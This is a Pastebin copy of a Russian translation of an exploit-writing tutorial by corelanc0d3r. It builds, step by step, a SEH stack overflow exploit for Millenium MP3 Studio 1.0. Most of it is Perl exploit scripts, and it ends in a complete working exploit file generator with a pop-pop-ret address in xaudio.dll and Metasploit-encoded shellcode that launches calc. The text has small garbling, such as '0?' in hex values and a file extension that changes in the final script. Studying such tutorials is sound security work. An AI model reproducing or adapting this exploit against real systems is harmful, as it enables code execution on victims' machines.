Guest User

!111

a guest
Aug 13th, 2011
272
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. [B]Автор:[/B] [URL="http://www.corelan.be/"]Peter Van Eeckhoutte (corelanc0d3r)[/URL]
  2. [B]Перевод:[/B] p(eaZ
  3. 8/2011
  4.  
  5. В предыдущей части руководства я объяснил основы создания SEH-эксплойтов. Я упомянул, что в самом простом случае полезная нагрузка SEH-эксплойта имеет такую структуру:
  6.  
  7. [junk][nextSEH][SEH][Shellcode]
  8.  
  9. Я указал, что SEH должен быть перезаписан указателем на "pop,pop,ret", и что nextSEH должен быть переpfписан 6 байтами, чтобы перепрыгнуть через SEH… Конечно, эта структура была основана на логике SEH-уязвимости, и более применима к уязвимости в Easy RM to MP3 Player. Таким образом, это только пример демонстрирующий концепцию уязвимости в SEH, при которой вы должны видеть значения всех регистров, использовать контрольные точки, и т.п., чтобы определить область для полезной нагрузки и самого шеллкода. Наблюдая за стеком строили структуру полезной нагрузки…
  10.  
  11. Иногда вам может улыбнуться удача, и полезная нагрузка может быть построена почти мгновенно. Иногда вам не хватает везения, и вы прилаживаете намного больше усилий для того, чтобы эксплойт мог стабильно работать в нескольких версиях ОС. Иногда вы будете прибегать к использованию жесткой адресации потому, что это будет единственный способ сделать рабочий эксплойт. В любом случае, большинство эксплойтов различны между собой, т.к. это ручная работа, основанная на определенных свойствах уязвимости и доступных методов для её эксплуатации.
  12.  
  13. В данной части руководства мы рассмотрим создание эксплойта для уязвимости, которая была обнаружена в Millenium MP3 Studio.
  14.  
  15. В PoC скрипте (вероятно основанном на значениях регистров) говорится о том, что уязвимость легко эксплуатировать, но автор находки этого сделать не смог.
  16.  
  17. [IMG]http://s2.ipicture.ru/uploads/20110813/lKJCMvq7.png[/IMG]
  18.  
  19. Основываясь на значениях регистров, которые показал “Hack4love”(автор найденной уязвимости), можно было предположить, что это типичное стековое переполнение, где EIP перезаписан мусором. Таким образом, вы должны найти смещение к EIP, найти полезную нагрузку в одном из регистров, и перезаписать EIP “переходом к …”, так? Хмм… Не совсем.
  20.  
  21. Давайте разбираться. Создайте файл с “[url]http://”[/url] … +5000 A, и запустив его в приложении, через windbg, посмотрим, что произойдет.
  22.  
  23. [CODE]
  24. #!usr/bin/perl
  25. my $sploitfile="c0d3r.mpf";
  26. my $junk = "http://";
  27. $junk=$junk."A"x5000;
  28. my $payload=$junk;
  29. print " [+] Writing exploit file $sploitfile\n";
  30. open (myfile,">$sploitfile");
  31. print myfile $payload;close (myfile);
  32. print " [+] File written\n";
  33. print " [+] " . length($payload)." bytes\n";
  34. [/CODE]
  35.  
  36. Откройте windbg и запустите mp3studio. Запустите выполнение программы и откройте файл.
  37.  
  38. [IMG]http://s2.ipicture.ru/uploads/20110813/e9E3Q3rO.png[/IMG]
  39.  
  40. Нарушение доступа (Access violation), но значения регистров никак не соответствуют заявленным в PoC-скрипте. Значит, любая длина буфера является неправильной (чтобы вызвать типичное перезаписывающее EIP переполнение стека), или эта уязвимость основана на SEH. Посмотрим на SEH-цепочку, чтобы определиться:
  41.  
  42. [IMG]http://s2.ipicture.ru/uploads/20110813/eEd6Tmaf.png[/IMG]
  43.  
  44. так, хорошо. И SE Handler и nextSEH перезаписаны. Значит, это будет SEH-эксплойт.
  45.  
  46. Создайте другой файл с шаблоном из 5000 символов при помощи утилиты из Metasploit, чтобы определить смещение к nextSEH и SE Handler’у:
  47.  
  48. Теперь SEH-цепочка выглядит так:
  49.  
  50. [IMG]http://s2.ipicture.ru/uploads/20110813/2iVp2Io4.png[/IMG]
  51.  
  52. Таким образом SE Handler был перезаписан на 0?39466830 (little endian, помните), и next SEH был перезаписан на 0?67384667
  53.  
  54. [LISt][*]SE Handler: 0?39466830 = 9Fh0 (смещение по шаблону - 4109) [*]nextSEH: 0?67384667 = g8Fg (смещение по шаблону - 4105) [/LIST]
  55.  
  56. Это уже имеет какой-то смысл.
  57.  
  58. Теперь, для типичного SEH-эксплойта, вы сделаете следуещее:
  59.  
  60. [LISt][*]в начале 4105 символов мусора(junk) (избавившись заранее от небольшого количества ненужных символов, таких как два слеша после http:, и добавив несколько A, чтобы держать количество символов в группах по 4); [*]перезапишите nextSEH на jump-код (0xeb, 0?06,0?90,0?90), чтобы перепрыгнуть через SE Handler и попасть в шелллкод; [*]перезапишите SE Handler указателем на pop,pop,ret; [*]поместите шеллкод (окруженный nop’ами в случае необходимости) и добавите больше данных, если потребуется;[/LIST]
  61.  
  62. или perl-скрипт (использующий некоторое подставные данные для того, чтобы проверить смещения):
  63.  
  64. [CODE]
  65. #!usr/bin/perl
  66. my $totalsize=5005;
  67. my $sploitfile="c0d3r.mpf";
  68. my $junk = "http:AA";
  69. $junk=$junk."A" x 4105;
  70. my $nseh="BBBB";
  71. my $seh="CCCC";
  72. my $shellcode="D"x($totalsize-length($junk.$nseh.$seh));
  73. my $payload=$junk.$nseh.$seh.$shellcode;
  74. print " [+] Writing exploit file $sploitfile\n";
  75. open (myfile,">$sploitfile");
  76. print myfile $payload;
  77. close (myfile);
  78. print " [+] File written\n";
  79. print " [+] " . length($payload)."[/CODE]
  80.  
  81. Крах:
  82.  
  83. [IMG]http://s2.ipicture.ru/uploads/20110813/XT2JIfS4.png[/IMG]
  84.  
  85. Таким образом, SE Handler был перезаписан на 43434343 (4 C, как и ожидалось), а nextSEH был перезаписан на 42424242 (4 B, как и ожидалось).
  86. Давайте заменим SE Handler указателем на pop,pop,ret, и nextSHE заменим четырьмя контрольными точками.
  87. Обратите внимание на список загруженных модулей и попытайтесь найти в одном из них последовательность pop,pop,ret. (Вы можете использовать плагин Ollydbg "SafeSEH", чтобы увидеть, собраны ли модули с safeSEH или нет).
  88. xaudio.dll, одна из прикладных dll, содержит многократные pop,pop,ret. Мы будем использовать этот 0x1002083D:
  89.  
  90. [CODE]
  91. #!usr/bin/perl
  92. my $totalsize=5005;
  93. my $sploitfile="c0d3r.mpf";
  94. my $junk = "http:AA";
  95. $junk=$junk."A" x 4105;
  96. my $nseh="\xcc\xcc\xcc\xcc"; #контрольная точка
  97. my $seh=pack('V',0x1002083D);
  98. my $shellcode="D"x($totalsize-length($junk.$nseh.$seh));
  99. my $payload=$junk.$nseh.$seh.$shellcode;#
  100. print " [+] Writing exploit file $sploitfile\n";
  101. open (myfile,">$sploitfile");
  102. print myfile $payload;
  103. close (myfile);
  104. print " [+] File written\n";
  105. print " [+] " . length($payload)." bytes\n";[/CODE]
  106.  
  107. При первом нарушении доступа (Access violation) мы направим исключение назад к приложению. pop,pop,ret был выполнен, и вы должны закончить на коде контрольной точки (в nseh).
  108.  
  109. Где теперь наша полезная нагрузка? Это должно быть похоже на большое количество D (после seh)…, но это могут быть и A (из начала буфера). Давайте поределят.Если полезная нагрузка находится после seh, (и приложение остановилось на контрольной точке), то EIP должен теперь указывать на первый байт nextSEH (код контрольной точки), и таким образом дамп eip долеж показать nseh, сопровождаемый seh, после которого идет шеллкод:
  110.  
  111. [IMG]http://s2.ipicture.ru/uploads/20110813/UF0XW6qL.png[/IMG]
  112.  
  113. Это выглядит многообещающе, однако мы видим некоторые нулевые байты после первых 32 байт. Значит, у нас есть 2 варианта: использовать 4 байта кода в nseh, чтобы перепрыгнуть через seh, и затем использовать те 16 байт, чтобы перепрыгнуть через нулевые байты. Или же сделать переход непосредственно из nseh в шеллкода.
  114. Во-первых, давайте проверим, что мы действительно смотрим в начала шеллкода (заменяя первые D какими-нибудь легко узнаваемыми данными):
  115.  
  116. [CODE]
  117. #!usr/bin/perl
  118. my $totalsize=5005;
  119. my $sploitfile="c0d3r.mpf";
  120. my $junk = "http:AA";
  121. $junk=$junk."A" x 4105;
  122. my $nseh="\xcc\xcc\xcc\xcc";
  123. my $seh=pack('V',0x1002083D);
  124. my $shellcode="A123456789B123456789C123456789D123456789";
  125. my $junk2 = "D" x ($totalsize-length($junk.$nseh.$seh.$shellcode));
  126. my $payload=$junk.$nseh.$seh.$shellcode.$junk2;
  127. print " [+] Writing exploit file $sploitfile\n";
  128. open (myfile,">$sploitfile");
  129. print myfile $payload;close (myfile);
  130. print " [+] File written\n";
  131. print " [+] " . length($payload)." bytes\n";[/CODE]
  132.  
  133. [IMG]http://s2.ipicture.ru/uploads/20110813/3Db5y0U0.png[/IMG]
  134.  
  135. Хорошо, это начало шеллкода, но в нем есть небольшое "отверстие" после первых двух байт…
  136. Скажем, мы хотим перепрыгнуть через отверстие, и начать шеллкод с 4 NOP’ов (таким образом мы можем поместить свой реальный шеллкод в 0012f9c0…, используя всего 24 NOP’а перед шеллкодом), тогда мы должны сделать скачок (от nseh) на 30 байт. Это - 0xeb, 0x1e:
  137.  
  138. [CODE]
  139. #!usr/bin/perl
  140. my $totalsize=5005;
  141. my $sploitfile="c0d3r.mpf";
  142. my $junk = "http:AA";
  143. $junk=$junk."A" x 4105;
  144. my $nseh="\xeb\x1e\x90\x90"; #прыжок на 30 байт
  145. my $seh=pack('V',0x1002083D);
  146. my $nops = "\x90" x 24;
  147. my $shellcode="\xcc\xcc\xcc\xcc";
  148. my $junk2 = "D" x ($totalsize-length($junk.$nseh.$seh.$nops.$shellcode));
  149. my $payload=$junk.$nseh.$seh.$nops.$shellcode.$junk2;
  150. print " [+] Writing exploit file $sploitfile\n";
  151. open (myfile,">$sploitfile");
  152. print myfile $payload;close (myfile);
  153. print " [+] File written\n";
  154. print " [+] " . length($payload)." bytes\n";[/CODE]
  155.  
  156. Открыв mpf файл, вы должны быть остановлены в контрольной точке (в 0x0012f9c0) после прохождения первого исключения:
  157.  
  158. [IMG]http://s2.ipicture.ru/uploads/20110813/1Z1qY5Rc.png[/IMG]
  159.  
  160. Хорошо, теперь замените контрольные точки в коде на реальный шеллкод:, тем самым завершив код эксплойта:
  161.  
  162. [CODE]
  163. #!usr/bin/perl
  164. # [+] Vulnerability : .mpf File Local Stack Overflow Exploit (SEH) #2
  165. # [+] Product : Millenium MP3 Studio
  166. # [+] Versions affected : v1.0
  167. # [+] Download : http://www.software112.com/products/mp3-millennium+download.html
  168. # [+] Method : seh
  169. # [+] Tested on : Windows XP SP3 En
  170. # [+] Written by : corelanc0d3r (corelanc0d3r[at]gmail[dot]com
  171. # [+] Greetz to : Saumil & SK
  172. # Based on PoC/findings by HACK4LOVE ( http://milw0rm.com/exploits/9277
  173. # -----------------------------------------------------------------------------
  174. # MMMMM~.
  175. # MMMMM?.
  176. # MMMMMM8. .=MMMMMMM.. MMMMMMMM, MMMMMMM8. MMMMM?. MMMMMMM: MMMMMMMMMM.
  177. # MMMMMMMMMM=.MMMMMMMMMMM.MMMMMMMM=MMMMMMMMMM=.MMMMM?7MMMMMMMMMM: MMMMMMMMMMM:
  178. # MMMMMIMMMMM+MMMMM$MMMMM=MMMMMD$I8MMMMMIMMMMM~MMMMM?MMMMMZMMMMMI.MMMMMZMMMMM:
  179. # MMMMM==7III~MMMMM=MMMMM=MMMMM$. 8MMMMMZ$$$$$~MMMMM?..MMMMMMMMMI.MMMMM+MMMMM:
  180. # MMMMM=. MMMMM=MMMMM=MMMMM7. 8MMMMM? . MMMMM?NMMMM8MMMMMI.MMMMM+MMMMM:
  181. # MMMMM=MMMMM+MMMMM=MMMMM=MMMMM7. 8MMMMM?MMMMM:MMMMM?MMMMMIMMMMMO.MMMMM+MMMMM:
  182. # =MMMMMMMMMZ~MMMMMMMMMM8~MMMMM7. .MMMMMMMMMMO:MMMMM?MMMMMMMMMMMMIMMMMM+MMMMM:
  183. # .:$MMMMMO7:..+OMMMMMO$=.MMMMM7. ,IMMMMMMO$~ MMMMM?.?MMMOZMMMMZ~MMMMM+MMMMM:
  184. # .,,,.. .,,,,. .,,,,, ..,,,.. .,,,,.. .,,...,,,. .,,,,..,,,,.
  185. # eip hunters
  186. # -----------------------------------------------------------------------------
  187. #
  188. # Script provided for educational purposes only.
  189. #
  190. #
  191. #
  192. my $totalsize=5005;
  193. my $sploitfile="c0d3r.m3u";
  194. my $junk = "http:AA";
  195. $junk=$junk."A" x 4105;
  196. my $nseh="\xeb\x1e\x90\x90"; #прыжок на 30 байт
  197. my $seh=pack('V',0x1002083D); #pop pop ret из xaudio.dll
  198. my $nops = "\x90" x 24;
  199. # windows/exec - 303 bytes
  200. # http://www.metasploit.com
  201. # Encoder: x86/alpha_upper
  202. # EXITFUNC=seh, CMD=calc
  203. my $shellcode="\x89\xe6\xda\xdb\xd9\x76\xf4\x58\x50\x59\x49\x49\x49\x49" .
  204. "\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" .
  205. "\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" .
  206. "\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" .
  207. "\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4b" .
  208. "\x58\x50\x44\x45\x50\x43\x30\x43\x30\x4c\x4b\x51\x55\x47" .
  209. "\x4c\x4c\x4b\x43\x4c\x45\x55\x43\x48\x45\x51\x4a\x4f\x4c" .
  210. "\x4b\x50\x4f\x45\x48\x4c\x4b\x51\x4f\x47\x50\x45\x51\x4a" .
  211. "\x4b\x51\x59\x4c\x4b\x50\x34\x4c\x4b\x45\x51\x4a\x4e\x50" .
  212. "\x31\x49\x50\x4d\x49\x4e\x4c\x4c\x44\x49\x50\x42\x54\x43" .
  213. "\x37\x49\x51\x49\x5a\x44\x4d\x43\x31\x48\x42\x4a\x4b\x4b" .
  214. "\x44\x47\x4b\x51\x44\x47\x54\x45\x54\x42\x55\x4b\x55\x4c" .
  215. "\x4b\x51\x4f\x46\x44\x43\x31\x4a\x4b\x42\x46\x4c\x4b\x44" .
  216. "\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x43\x31\x4a\x4b\x4c" .
  217. "\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4d\x59\x51\x4c\x51" .
  218. "\x34\x45\x54\x48\x43\x51\x4f\x50\x31\x4a\x56\x43\x50\x51" .
  219. "\x46\x45\x34\x4c\x4b\x47\x36\x46\x50\x4c\x4b\x47\x30\x44" .
  220. "\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x43\x58\x45" .
  221. "\x58\x4b\x39\x4b\x48\x4b\x33\x49\x50\x43\x5a\x46\x30\x42" .
  222. "\x48\x4a\x50\x4c\x4a\x44\x44\x51\x4f\x42\x48\x4a\x38\x4b" .
  223. "\x4e\x4d\x5a\x44\x4e\x51\x47\x4b\x4f\x4a\x47\x42\x43\x45" .
  224. "\x31\x42\x4c\x45\x33\x45\x50\x41\x41";
  225. my $junk2 = "D" x ($totalsize-length($junk.$nseh.$seh.$nops.$shellcode));
  226. my $payload=$junk.$nseh.$seh.$nops.$shellcode.$junk2;
  227. #
  228. print " [+] Writing exploit file $sploitfile\n";
  229. open (myfile,">$sploitfile");
  230. print myfile $payload;
  231. close (myfile);
  232. print " [+] File written\n";
  233. print " [+] " . length($payload)." bytes\n";[/CODE]
  234.  
  235. pwned!
  236.  
  237. [B]Упражнение[/B]
  238.  
  239. У меня есть небольшое упражнение для вас: попытайтесь написать рабочий эксплойт для m3u файла, и посмотрите, сможете ли вы найти способ заменить EIP-переполнение на SEH.
  240.  
  241. [B]Примечание[/B]: шеллкод не должен быть помещен после nseh/seh. Он должен быть помещен в первую часть буфера полезной нагрузки, и вы при этом можете использовать:
  242.  
  243. [LIST][*]маленькое буферное пространство, чтобы записать какой-либо jump-код, таким образом, перейти к реальному шеллкоду. [*]жесткую адресацию (если ничего больше не помогает)[/LIST]
  244. SEH-эксплойт для m3u файлов почти идентичен mpf версии, поэтому я не стану сейчас это описывать.
  245.  
  246. Если вы хотите обсудить это упражнение, пожалуйста, зарегистрируйтесь и создайте топик на форуме: [url]http://www.corelan.be:8800/index.php/forum/writing-exploits/[/url].
RAW Paste Data